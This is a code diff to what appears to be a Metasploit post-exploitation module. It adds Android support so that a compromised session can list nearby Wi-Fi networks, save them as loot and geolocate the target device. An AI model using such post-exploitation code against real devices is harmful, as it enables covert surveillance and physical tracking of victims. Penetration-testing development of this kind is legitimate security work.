diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index 4bd5862ece..c8fbc4a089 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Post performing a lookup against Google APIs.}, 'License' => MSF_LICENSE, 'Author' => [ 'Tom Sellers '], - 'Platform' => %w{ osx win linux bsd solaris }, + 'Platform' => %w{ android osx win linux bsd solaris }, 'SessionTypes' => [ 'meterpreter', 'shell' ], )) @@ -185,9 +185,31 @@ class MetasploitModule < Msf::Post print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE'] return end - + when 'android' + log = client.android.wlan_geolocate + listing = '' + wlan_list = [] + log.each do |x| + mac = x['bssid'] + ssid = x['ssid'] + ss = x['level'].to_s + listing += "BSSID: #{mac}\n" + listing += "SSID: #{ssid}\n" + listing += "Strength: #{ss}\n\n" + wlan_list << [mac, ssid, ss] + end + if listing.blank? + print_error("Unable to generate wireless listing.") + return nil + end + store_loot("host.android.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + print_good("Target's wireless networks:\n\n#{listing}\n") + if datastore['GEOLOCATE'] + perform_geolocation(wlan_list) + return + end else - print_error("The target's platform, #{platform}, is not supported at this time.") + print_error("The target's platform, #{session.platform}, is not supported at this time.") return nil end